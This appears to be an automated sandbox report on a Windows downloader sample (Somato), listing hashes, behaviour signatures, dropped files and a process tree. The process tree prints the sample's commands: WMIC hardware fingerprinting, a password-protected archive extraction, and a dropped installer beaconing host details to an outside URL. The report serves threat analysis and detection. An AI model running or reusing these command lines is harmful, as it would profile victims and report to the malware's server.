Analysis
- max time kernel
149s - max time network
141s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
14/10/2026, 03:58
Behavioral task
behavioral1
Sample
jaffacakes118_not-a-virus.Downloader.Win32.Somato.r.exe
Resource
win10v2004-20260911-en
windows10-2004-x64
9 signatures
150 seconds
Behavioral task
behavioral2
Sample
jaffacakes118_not-a-virus.Downloader.Win32.Somato.r.exe
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
10 signatures
150 seconds
Behavioral task
behavioral3
Sample
$PLUGINSDIR/7za.exe
Resource
win10v2004-20260911-en
windows10-2004-x64
1 signatures
150 seconds
Behavioral task
behavioral4
Sample
$PLUGINSDIR/7za.exe
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
1 signatures
150 seconds
Behavioral task
behavioral5
Sample
$PLUGINSDIR/nsExec.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
3 signatures
150 seconds
Behavioral task
behavioral6
Sample
$PLUGINSDIR/nsExec.dll
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
3 signatures
150 seconds
General
- Target jaffacakes118_not-a-virus.Downloader.Win32.Somato.r.exe
- Size 406KB
- Sample261014-ejqe3sed39
- SHA256 ddea02f4997db8ce6c64c924f370f49301a25fa5ac3b9258c5590f4363f58a50
- MD5 954ace45bf16e9b1ff9696a9437c3088
- SHA1 3fa01676ecdcdee32672ba7a1fc7999c66e26533
- SHA512 0c4140340c29e0eb7ff99eec0d50852bdea752df7a409b5faef19cb0aa0eefb351bd1d9fcc8fb9aeefb57b417a493b27f4891602c285d8c85d58021e9f21a409
- SSDEEP 12288:+A0i50GRsxHfbMoafwIkxzflYB7sl2QntQmlLfVF:+AfyGWHf2wJ1OMVBF
- TLSH T15594121359608072EA67023010FE9FD1EBF4AC2363D44A5B33B5795B9DB3B67E32125A
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
Malware Config
Signatures
- Executes dropped EXE 2 IoCs
pid Process 5800 7za.exe 3928 setupcl.exe - Loads dropped DLL 5 IoCs
pid Process 4536 jaffacakes118_not-a-virus.Downloader.Win32.Somato.r.exe 4536 jaffacakes118_not-a-virus.Downloader.Win32.Somato.r.exe 4536 jaffacakes118_not-a-virus.Downloader.Win32.Somato.r.exe 4536 jaffacakes118_not-a-virus.Downloader.Win32.Somato.r.exe 4536 jaffacakes118_not-a-virus.Downloader.Win32.Somato.r.exe - Queries system WMI classes for hardware identifiers 2 TTPs 3 IoCs
Uses WMI to read hardware serial numbers or the system UUID, commonly used to fingerprint the victim machine.
pid Process 4564 WMIC.exe 2324 WMIC.exe 4100 wmic.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Reads the TCP/IP host and domain name from the registry 1 TTPs 12 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname setupcl.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain setupcl.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname wmic.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain wmic.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe - System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language setupcl.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WMIC.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wmic.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language jaffacakes118_not-a-virus.Downloader.Win32.Somato.r.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WMIC.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WMIC.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WMIC.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 4564 WMIC.exe Token: SeSecurityPrivilege 4564 WMIC.exe Token: SeTakeOwnershipPrivilege 4564 WMIC.exe Token: SeLoadDriverPrivilege 4564 WMIC.exe Token: SeSystemProfilePrivilege 4564 WMIC.exe Token: SeSystemtimePrivilege 4564 WMIC.exe Token: SeProfSingleProcessPrivilege 4564 WMIC.exe Token: SeIncBasePriorityPrivilege 4564 WMIC.exe Token: SeCreatePagefilePrivilege 4564 WMIC.exe Token: SeBackupPrivilege 4564 WMIC.exe Token: SeRestorePrivilege 4564 WMIC.exe Token: SeShutdownPrivilege 4564 WMIC.exe Token: SeDebugPrivilege 4564 WMIC.exe Token: SeSystemEnvironmentPrivilege 4564 WMIC.exe Token: SeRemoteShutdownPrivilege 4564 WMIC.exe Token: SeUndockPrivilege 4564 WMIC.exe Token: SeManageVolumePrivilege 4564 WMIC.exe Token: 33 4564 WMIC.exe Token: 34 4564 WMIC.exe Token: 35 4564 WMIC.exe Token: 36 4564 WMIC.exe Token: SeIncreaseQuotaPrivilege 4564 WMIC.exe Token: SeSecurityPrivilege 4564 WMIC.exe Token: SeTakeOwnershipPrivilege 4564 WMIC.exe Token: SeLoadDriverPrivilege 4564 WMIC.exe Token: SeSystemProfilePrivilege 4564 WMIC.exe Token: SeSystemtimePrivilege 4564 WMIC.exe Token: SeProfSingleProcessPrivilege 4564 WMIC.exe Token: SeIncBasePriorityPrivilege 4564 WMIC.exe Token: SeCreatePagefilePrivilege 4564 WMIC.exe Token: SeBackupPrivilege 4564 WMIC.exe Token: SeRestorePrivilege 4564 WMIC.exe Token: SeShutdownPrivilege 4564 WMIC.exe Token: SeDebugPrivilege 4564 WMIC.exe Token: SeSystemEnvironmentPrivilege 4564 WMIC.exe Token: SeRemoteShutdownPrivilege 4564 WMIC.exe Token: SeUndockPrivilege 4564 WMIC.exe Token: SeManageVolumePrivilege 4564 WMIC.exe Token: 33 4564 WMIC.exe Token: 34 4564 WMIC.exe Token: 35 4564 WMIC.exe Token: 36 4564 WMIC.exe Token: SeIncreaseQuotaPrivilege 2324 WMIC.exe Token: SeSecurityPrivilege 2324 WMIC.exe Token: SeTakeOwnershipPrivilege 2324 WMIC.exe Token: SeLoadDriverPrivilege 2324 WMIC.exe Token: SeSystemProfilePrivilege 2324 WMIC.exe Token: SeSystemtimePrivilege 2324 WMIC.exe Token: SeProfSingleProcessPrivilege 2324 WMIC.exe Token: SeIncBasePriorityPrivilege 2324 WMIC.exe Token: SeCreatePagefilePrivilege 2324 WMIC.exe Token: SeBackupPrivilege 2324 WMIC.exe Token: SeRestorePrivilege 2324 WMIC.exe Token: SeShutdownPrivilege 2324 WMIC.exe Token: SeDebugPrivilege 2324 WMIC.exe Token: SeSystemEnvironmentPrivilege 2324 WMIC.exe Token: SeRemoteShutdownPrivilege 2324 WMIC.exe Token: SeUndockPrivilege 2324 WMIC.exe Token: SeManageVolumePrivilege 2324 WMIC.exe Token: 33 2324 WMIC.exe Token: 34 2324 WMIC.exe Token: 35 2324 WMIC.exe Token: 36 2324 WMIC.exe Token: SeIncreaseQuotaPrivilege 2324 WMIC.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 3928 setupcl.exe 3928 setupcl.exe - Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 4536 wrote to memory of 4564 4536 jaffacakes118_not-a-virus.Downloader.Win32.Somato.r.exe 85 PID 4536 wrote to memory of 2324 4536 jaffacakes118_not-a-virus.Downloader.Win32.Somato.r.exe 88 PID 4536 wrote to memory of 656 4536 jaffacakes118_not-a-virus.Downloader.Win32.Somato.r.exe 90 PID 4536 wrote to memory of 5876 4536 jaffacakes118_not-a-virus.Downloader.Win32.Somato.r.exe 93 PID 4536 wrote to memory of 5800 4536 jaffacakes118_not-a-virus.Downloader.Win32.Somato.r.exe 95 PID 4536 wrote to memory of 3928 4536 jaffacakes118_not-a-virus.Downloader.Win32.Somato.r.exe 100 PID 3928 wrote to memory of 4100 3928 setupcl.exe 102
Processes
-
C:\Users\Admin\AppData\Local\Temp\jaffacakes118_not-a-virus.Downloader.Win32.Somato.r.exe"C:\Users\Admin\AppData\Local\Temp\jaffacakes118_not-a-virus.Downloader.Win32.Somato.r.exe"1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4536 -
C:\Windows\SysWOW64\Wbem\WMIC.exeWMIC csproduct Get UUID /FORMAT:textvaluelist.xsl2⤵
- Queries system WMI classes for hardware identifiers
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:4564
-
-
C:\Windows\SysWOW64\Wbem\WMIC.exeWMIC bios Get SerialNumber /FORMAT:textvaluelist.xsl2⤵
- Queries system WMI classes for hardware identifiers
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:2324
-
-
C:\Windows\SysWOW64\Wbem\WMIC.exeWMIC bios Get Version /FORMAT:textvaluelist.xsl2⤵
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
PID:656
-
-
C:\Windows\SysWOW64\Wbem\WMIC.exeWMIC csproduct Get Name /FORMAT:textvaluelist.xsl2⤵
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
PID:5876
-
-
C:\Users\Admin\AppData\Local\Temp\nsnCB6B.tmp\7za.exe7za.exe e -y -p"ff9360d8e0ba0399e3713117fac96a42" [RANDOM_STRING].7z2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5800
-
-
C:\Users\Admin\AppData\Local\Temp\nsnCB6B.tmp\setupcl.exe"C:\Users\Admin\AppData\Local\Temp\nsnCB6B.tmp\setupcl.exe" /initurl http://sub.yorkshatb.com/init/virus.Downloader.Win32.Somato.r/:uid:? /affid "-" /id "0" /name " " /uniqid virus.Downloader.Win32.Somato.r /uuid 11111111-1111-1111-1111-111111111111 /biosserial DELL 1 serial /biosversion BOCHS - 1 /csname Dady super powerful PC2⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3928 -
C:\Windows\SysWOW64\Wbem\wmic.exewmic bios get serialnumber, version3⤵
- Queries system WMI classes for hardware identifiers
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
PID:4100
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\nsnCB6B.tmp\7za.exe
- Size 574KB
- SHA256 c136b1467d669a725478a6110ebaaab3cb88a3d389dfa688e06173c066b76fcf
- MD5 42badc1d2f03a8b1e4875740d3d49336
- SHA1 cee178da1fb05f99af7a3547093122893bd1eb46
- SHA512 6bc519a7368ee6bd8c8f69f2d634dd18799b4ca31fbc284d2580ba625f3a88b6a52d2bc17bea0e75e63ca11c10356c47ee00c2c500294abcb5141424fc5dc71c
- SSDEEP 12288:myyKdVnyNhXCV4EkP7AIfzNXZ0b5NrnkcAqIV0A1caRI:mKvyNhXCV4E8BXAfrnkcAqU0A
- TLSH T15FC47C2A3AE5C079D65215308B6E5BF5D0F693680F2308C72794DF2C1E359D6CA3AE39
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\nsnCB6B.tmp\[RANDOM_STRING].7z
- Size 80KB
- SHA256 54aa7642831ac3bb8c5833bc12175a8f5ef164450f3c1bb40a7bec84223918bc
- MD5 c1369381765c64e82909909f4fc99ed3
- SHA1 4bb196970179b5248ebf9e6d45da8b1fc060deca
- SHA512 f1a0471d787398021bab92fe38f78c9a7d4f5631b2ffa9d72dac8f33d20daf55070038d9ba8d46112894cbdee1e1fc8d94627987018988d114762d90c8c7e8f9
- SSDEEP 1536:HSCmPGaByrCjEw04l0dpLgjNrIBrdfBv2mmIMjd6K3Nh+O3:HSCrrCQwJqdq5IBrdfB+mmIM4C
- TLSH T1738312CB923AD83EC677460F6199BA6E9C06358AFF19717FC0045120A34962A48FF7F0
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\nsnCB6B.tmp\nsExec.dll
- Size 8KB
- SHA256 289786fe13801467653eb2712f47f162d6fd3fc2d844be342282f75fc2b2a085
- MD5 b8be6632a7dc8136ff01338be40fe701
- SHA1 043fa16929b2af5ed5c1c59b4035a10cf765fb43
- SHA512 403474154ff8500e5aae2b4466c652e5d066af2c55d8f158e6f007492ceb1f3abcc6cca80842b90900db02db4258ddcda75dec1d1799af24969c35811891e5b8
- SSDEEP 96:ovkNRhdXhG0CzpC6dsiFam4C026ebZT4MJlWD+RfEqL5Q4hTUVKJx3/:9Nnd9Cz86GVSmua+2qL5Q4h4VSp
- TLSH T19702D8525A1174F1D34AA87F3CEBCB6B4EB5E07516D41259E3B40E071CF01B9AB7220A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\nsnCB6B.tmp\setupcl.exe
- Size 193KB
- SHA256 9c620ef6eac3d0d9d3f6f2622a53d1f543cebd93846636ba397683962c07fc7c
- MD5 10bd2af1b07ec6bc9cd17ba512569e59
- SHA1 807e17ab1b98177e135d30941b45081960d1e866
- SHA512 deacd041f12b6ec74f9e4488874ce962037990ed0ae424aaeabf2c35876b2ebbb943f92e9a4ffe504718bb00021209b035439ea4d7c64a4031b86ce9104ce3ed
- SSDEEP 3072:o+4k6oNV1S7imDgXqUVypKcYUdflxQfVOwJkERXBHgpUK+eryMrNgYRGVsSm:B5NnSrg69Qcvt6fkwfXBHUeo5Rr
- TLSH T13A145C207AD0D073D26371F0DEE4E6B116AABC354A60854BBBB43B2E2DB1197CD2535E
- MD5 SHA1 SHA512 SSDEEP TLSH